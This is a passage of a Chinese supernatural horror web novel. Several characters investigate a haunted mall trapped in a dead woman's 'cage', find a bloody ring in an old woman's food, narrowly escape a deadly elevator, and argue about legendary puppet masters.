老太太把座椅推到店外,抵在黑暗的墙角里,然后蹒跚地走回来。嘴里反复嘟哝着几句话。
她经过的时候,闻时低头分辨了一下,听到她说:“快到我了,快到我了,马上就到我了……”
什么意思?
什么叫到她了?
是指……像之前那个胖店主一样关店消失么?
闻时走到墙角,那个被丢弃的座椅就静静地靠在那。
他嗅了一下那股血腥味,凝神闭上眼睛。
那瞬间,空荡荡的座椅上忽然出现一个惨白的女人。她头发乱蓬蓬地披罩着,整个人猛地朝闻时倾撞过来。
头发被惯性掀开的瞬间,闻时看到了她煞白扭曲的脸——漆黑的眼睛睁得极大,嘴巴也张着,像个豁然的洞口。
她两只胳膊直直朝前,十指绷着,像要来抓挠他。
但她身上斜捆着一道黑色的东西,似乎禁锢住了她的行动。下一秒,她又猛地撞回椅背,发出一声尖叫。
……
突然,闻时的肩膀被什么东西拍了一下。
他猛地睁开眼,转头一看,发现是张碧灵。
“不是让你们不要乱跑吗?”张碧灵有点无奈地说,“这个笼有点蹊跷,你们可能看不出来,觉得好像还挺平静的,但很多东西都有点反常。就好比刚刚那个开店的老太太。我刚刚看到你们好像还跟她说话了。正常的笼哪能这样?笼主早把矛头对着你们了。”
她这话其实没说错,闻时走了一圈,古怪的感觉越来越明显。
一般来说,死人成为笼主,大部分都不愿接受自己已经死了的事实。所以笼里往往不会出现跟死亡有关的东西,比如遗照。
但
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那家刚刚关闭的店里全是遗照,然后又因为“卖了不好的东西”,被强行关闭了。
而且,笼里的人大多是笼主意识的延伸,说白了,就是都照着笼主的想法来。
但那个胖子店主,那个说“还没吃饭”的男人,包括这个老太太……所有的店主好像都在躲着那个女人,不让她找到。
这就很奇怪。
种种迹象都很矛盾,就好像……笼主一会儿这个想法,一会儿又站在自己的对立面,自己跟自己相抗衡似的。
“你在听我说话吗?”张碧灵提高了音调。
闻时回过神来,就听见她苦口婆心地劝道:“越是这样越不能莽撞。”
闻时:“哦。”
张碧灵:“……”
她揉了揉额头,叹了口气,问道:“算了不说了,你一个人站在这里干什么?”
闻时:“看看这个椅子。”
张碧灵没再问他,自己走到椅子前,掏出一张符纸在上面抹了一下。
各家进笼有各家的做法,闻时没干涉。只怕那个女人会伤到她。
可当他再闭上眼睛,那个狰狞的女人却没有出现。
倒是他的肚子咕噜叫了一声……
刚进笼没多久,他居然又饿了。
张碧灵收了符纸走过来,皱着眉说:“这像汽车的驾驶座,应该是那个女人生前坐过的。但再多我也看不出来了。”
闻时愣了一下,终于明白刚刚看到的那个场景是什么了。
如果没弄错的话,应该是那个圆脸司机出事的一幕。
所以……
跟笼主死亡相关的东西,会一点点出现在某家店铺里?一旦出现了,就意味着,那个店主该消失了?
闻时没再多呆,走回去问周煦:“你进笼的时候,这边的店有几家是开着的?”
周煦:“没数。”
闻时心说果然是个废物小点心,毫无指望。
可能是他讥嘲的表情太明显,周煦又开口了:“反正肯定比现在多。”
闻时:“……”
“你别这么看着我。”周煦警惕地朝后退了一步,毫不客气地把夏樵推到前面,“我好好的数店干什么?当时又急急忙忙在逃命,谁顾得上啊!我就是记得这老太太隔壁开着一家米线店,现在没了。”
“你逃命还顾得上看米线店啊?”夏樵认真地问。
“那用看吗?!闻就行了,味道那么大,香得不行。”周煦说着还有点委屈,“我那天跟我妈怄气呢,没吃晚饭就跑出来了。那家米线店汤特别浓,肯定闷了牛肉丸或者牛筋丸在里面,我特别爱吃那个,一闻就知道。”
他把自己给活活说饿了,咽了一下口水,才又指着远一点的地方说:“拐角那边应该也开着店的,我当时跑过去的时候还被光晃过眼睛。”
闻时:“你不早说?”
周煦:“我哪知道,你们也没问啊!”
闻时没再搭理他,只觉得自己刚刚的猜测八·九不离十。这座商场原本开着的店铺应该很多,然后一家一家关闭了。
他们正说着话,旁边突然传来了咀嚼声。
众人转头看去,就见老太太端了个塑料饭盒,坐在门口的小马扎上,安静地吃着东西。
“她吃的什么啊?”周煦问。
“肉。”谢问说,他眼神极好,明明站得比其他人远,却看得比谁都清楚……主要是他毫无心理负担,真的敢看,还敢描述。
“排骨,还有丸子。可能是牛肉丸或者牛筋丸。”谢问说话慢悠悠的,仿佛在给老太太做吃播。
闻时正饿着,听得十分想打他。
他忽然轻轻“啊”了一声,说:“吃到一枚戒指。”
闻时:“……”
夏樵当场就软了。
周煦:“呕——我他妈这辈子都不想再吃肉了。”
21. 传说
周煦正崩溃呢,旁边传来比他还崩溃的声音:“呕——”
他转头一看,吃排骨的老太太捧着个垃圾桶,吐得比谁都夸张。
周煦:“?”
老太太的塑料饭盒掉在地上,饭菜泼洒得到处都是。
肉汤拌过的饭颗粒分明,浸润了一点酱汁,散发着浓郁的香味。闻得人食指大动,又有点恶心。
剁碎的排骨筋肉油亮,脆骨雪白,肉丸弹跳了几下,咕噜噜地滚动着。
跟着肉丸一起滚动的,还有一枚简单的金戒指。
夏樵嘴唇苍白,连避带跳。
他最怕这种声音——弹珠或者金属物掉在地板上的滚动声,清晰得就像滚在耳蜗里。
他经常半夜惊醒会听见,就响在头顶,仿佛有个不睡觉的小孩蹲在楼上玩。可是他家楼上只有客房,房间是空的,根本不可能有人。
戒指滚了一圈,又绕回到老太太脚边。
仿佛故意的,就这么贴着她的黑布鞋倒下,发出“当啷”一声轻响。
老太太捧着垃圾桶哆嗦了一下,头都没抬。
其他人恨不得再退三尺,离那玩意儿越远越好,闻时却蹲下身仔细看起来。
一看他这么淡定,周煦有点不服,也探头探脑地伸过来。
那戒指是素圈,什么花样都没有,但半面都裹着血迹,铁锈般的腥味隐隐散发出来,有点冲。
没沾上血的半截戒面很亮,在灯光映射下,隐约反照着人影。
那本该只有闻时和周煦,可他们两人模糊的影子背后还有一张脸,披着及肩长发。
那张人脸朝前伸过来,五官慢慢放大。从模糊不清的白脸长发,到能看清窟窿似的两只眼睛,窟窿还汩汩往下淌血。
周煦吓疯了,尖叫一声,一屁股坐在地上。
他猛地回头——
却见张碧灵凑在他身后。
“操啊,你他妈谁?!”周煦惊恐地问。
张碧灵:“……”
“我是你妈。”张碧灵平时挺温和有礼的,但对着熊儿子似乎实在温和不起来,“你皮痒了是吧?”
周煦被刚刚那一下吓得够呛,半天没缓过来,看他亲妈怎么看怎么诡异。他慌不择路地退了几步,连滚带爬地找了个人搂着。
抖了半天,才发现他搂的是夏樵。
夏樵一边跟他一起抖,一边说:“你怎么好像胆子比我还小?”
“呸!放你妈的屁。”周煦啐了一口,骂骂咧咧地撒开手。
张碧灵指着他:“你再说一句脏话试试?!”
周煦梗着脖子没吭声,犟归犟,脸倒是煞白一片,一看就是被什么东西吓狠了。
说话间,抱着垃圾桶的老太太终于抬起头。
她抚着心口,靠在墙上,轻声咕哝说:“吓死我了,吓死我了……没事,没事……一定是不小心,不小心……我得、我得捡了送下去。”
这番话听得众人有些纳闷。
老太太念叨了一会儿才睁开眼,从口袋里掏出一个皱巴巴的手帕。
她扫了戒指一眼,速度快到根本没看清。然后便撇开脸,在脚边摸索片刻,隔着手帕把戒指捡起来,裹得严严实实,好像多看一眼都不行。
她站起身,抓起门边的尖钩,“当当”杵着地,步履拖沓地朝某处走。
闻时当然跟着她。结果刚走两步,就听到后面一串脚步声。
他回头一看,大的小的所有人全跟来了,连那些被困了好几天的人都不例外。
“你们不怕?”他问。
“老太太还好。”格子纹男生说,“她自己好像都被吓死了,就没那么可怕了。而且……”
而且不知怎么回事,他好像好奇心突然变得很旺盛,特别想跟着老太太。
老太太在某个角落停下。
那是一架老旧的直梯,老太太伸手摁了键,电梯咣当咣当地响起来。
电梯金属门上印着众人的影子,每个都扭曲变形,被拉得很长,显得面容陌生。
周煦心有余悸,觉得谁都很诡异,总忍不住回头看背后。
胆小鬼最忌讳扎堆。
夏樵受他影响,也疑神疑鬼,感觉其他人眼神都是死气沉沉的,盯着电梯的模样直勾勾的。
忽然,电梯“叮”地响了,金属门慢慢打开。
一股陈旧腐朽的味道从里面传出来,夏樵咧了咧嘴,直觉不太好。
忽然间,他肩膀被人撞了一下。
他转头一看,就见格子衬衫他们几个直直走向电梯,马上就要跟着老太太进去了。
夏樵瞪大眼睛,还没反应过来,就听见有人叹了口气。
叹气的人是张碧灵。
她进过不少笼,当然知道这是什么情况。这人并不是自己想要进电梯,而是被人“推”进去的,因为笼主潜意识希望生人消失。
任何人都会在这个瞬间受影响,只是多少的区别而已。
就连她都有一瞬间的恍惚,等回过神来,已经往前走了两步。
前面那拨人一脚已经踏进了电梯,她这时再掏符纸甩过去,已经来不及了。
下一瞬,电梯门就会合上,而那群人会被电梯门铡成两截。
要是有更厉害的人在就好了,张碧灵在心里说。
她想起自己曾经跟着张岚进过笼,也碰到过这种情况,张岚受影响的时间连两秒都不足,结果自然是有惊无险。
要是她在就好了。
张碧灵还是匆忙去掏符纸,虽然知道已经晚了。
她指尖刚触到纸,就听见什么东西擦着她甩了出去,带着劲烈的破风之声。
她抬眼一看,就见那群人被几道细白长线捆勒在一起,猛地被人往后拽了一步。
锵——
电梯门带着金属摩擦声,重重合上,声音大得惊人。
那几人骤然醒来,瞪着面前的电梯门,根本说不出话。
格子衬衫冲在最前面,他的鼻尖被金属门堪堪擦过。很快,他就感觉有液体顺着鼻头流淌下来,吧嗒、吧嗒滴落在地。
他惊恐地低下头,看到了捆住他们的线,以及滴在地上的血。
如果捆他们的人速度再慢一点点,现在滚落在地的,恐怕就不是血,而是他们的身体和头了。
“怎、怎么回事?!”
“我、我为什么站在电梯面前?”
几人大脑一片空白,反应过来的时候已经瘫软在地,站都站不起来。
张碧灵攥着没来得及使用的符纸,顺着长线转过头,先看到了一双手。
那双手生得极好,十指又长又直,因为清瘦,手背会绷起分明的骨线。细白长缠绕在那样的手指间,仿佛千斤在握都不会抖一下,有种紧绷又肃杀的冷感。
那应该是顶级傀师的手。
张碧灵想起曾经在张家旧书上看到的描述。
然后她抬起眼,看到了闻时的脸。
“你……”张碧灵轻声问道,“你刚刚没受影响吗?”
闻时抬眼看向她,顿了一下说:“可能么?”
“那、那你是怎么来得及把他们捞回来的?”
“手快。”闻时说。
张碧灵慢慢回过神来。刚刚那一瞬,她几乎要怀疑这个年轻人水平奇高了,可是转念一想,水平奇高的人会跟着沈桥?还连名谱图都上不了?
不可能的。
过了刚刚那个劲,她再回想差点出事的那一瞬,又觉得闻时反应似乎也没那么快。
***
差点砍了人的电梯发出咣当咣当的声音,慢慢往楼下去。
门外这群人瘫的瘫,愣的愣,呆了好一会儿。
闻时垂着手收线,转头就见谢问站在栏杆边,看着楼下某处。
他正想过去,就听一个粗嘎嘎的公鸭嗓问:“你是练傀术的么?”
又是周煦这个废物小点心。
“不是。”闻时蹦了两个字。
周煦被他唬住了:“不是?那你练的什么?”
闻时咸咸地说:“翻花绳。”
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周煦:“……”
你是不是有毒?
他这么一搞,周煦那点好奇心就被抹杀了,只剩下抬杠的心:“你能弄出傀吗?活物的那种。”
关你屁事。闻时懒得理这种熊玩意儿。
结果夏樵这个二百五见不得别人看低他,张口道:“当然可以。”
周煦眼神一变,流露出几分羡慕。但很快就变回了鼻子不是鼻子,眼睛不是眼睛的状态:“真的假的?”
夏樵:“骗你干什么啊?”
周煦又问:“那你能同时有几个傀?”
夏樵张了张嘴,又闭上了,转头看闻时。因为他也不知道:“哥,几个傀是什么意思?越多越厉害么?”
“废话!”周煦说什么都一副牛皮哄哄的模样,“正常傀师都只有一个傀,按存在的时间长短来判断厉不厉害,厉害的傀师,做出来的傀能存在十几年甚至几十年。也有不正常的,特别牛逼的,可以同时做出两个以上像人一样的傀。我小叔叔就可以,他能同时有六个。”
闻时:“……”
又来了,吹完小姨吹小叔叔,可惜他一个都不认识。
周煦本指望说完之后,获得一些艳羡的眼神,可惜面前这俩屁都不懂。
夏樵愣了一会儿,终于反应过来:“你都说正常傀师都是一个傀,特别特别牛逼的才能同时做出两个,你还问我哥能有几个?你什么意思啊?”
周煦从他的质问里勉强感到了一点爽,吸了吸鼻子说:“我就问问。我也没说只有我小叔叔可以啊,据我所知,除了他,还有几个人也行,不过目前数量最多的是他。”
夏樵:“什么叫目前?”
“就是活着的里面,”
“那以前还有更多的?”
“有啊。”周煦可能觉得输给老祖宗不丢脸,倒也没藏着掖着,“书上说,最厉害的傀师曾经同时拥有过12个傀。”
夏樵一脸“卧槽”。他其实不太懂,但还是从周煦的话语里感受到了厉害。
“但那都是最早时候的事了,早就失传了,现在不可能有人做到的。”周煦又变相强调了一下他小叔叔的牛。
夏樵还在感慨中,问道:“最厉害的不会是祖师爷吧?”
周煦听到祖师爷三个字,反应有点古怪,介于害怕、敬畏和听都不想听之间。
他点了点头,又摇摇头说:“还有一个,最早的一批传人之一,也是传说级别的了。叫闻时。”
夏樵:“……谁???”
他嗓子都劈了,被闻时拍了一下后脑勺。
周煦瞪着他:“你一惊一乍的干嘛?有病啊?”
夏樵转头看向闻时。
闻时指着那几个差点送命的人说:“实在太闲,就把他们弄回去呆着。”
说完,他便转头看向谢问。
谢问对他们的吱哇争论似乎挺有兴趣,在旁边听了一会儿,模样有些出神,不知在想些什么。
他很快注意到了闻时的目光,却没吭声。就这么任闻时看了一会儿,才开口道:“你是有什么很难启齿的要求么,非要这么看着我?”
闻时:“……”
他本来都打算开口了,被谢问这么一搅和,当场闭嘴,扭头走了。
一楼的电梯直到这时才“叮”地响了一声,缓缓开门。
老太太拄着尖钩走出去,一点点往前挪。
商场的安全走道里连灯都没有,只有绿色的指示牌,发着最黯淡的光。闻时推门进去,独自顺着楼梯往下,想去一楼看看情况。
刚走没多久,就听见上面又是一声门响。
谢问的声音响在安静逼仄的楼梯间里,低低沉沉的,很好听:“走那么快干什么。”
“你干嘛跟过来?”闻时抓着楼梯扶手停下步。
“没什么。”谢问的嗓音到了近处,“这里人少一点,应该方便你说话。”
闻时看着对方高挑的身影走到近处,只比他略高一个台阶,然后温和低沉的嗓音又响了起来。他说:“你是不是又饿了?”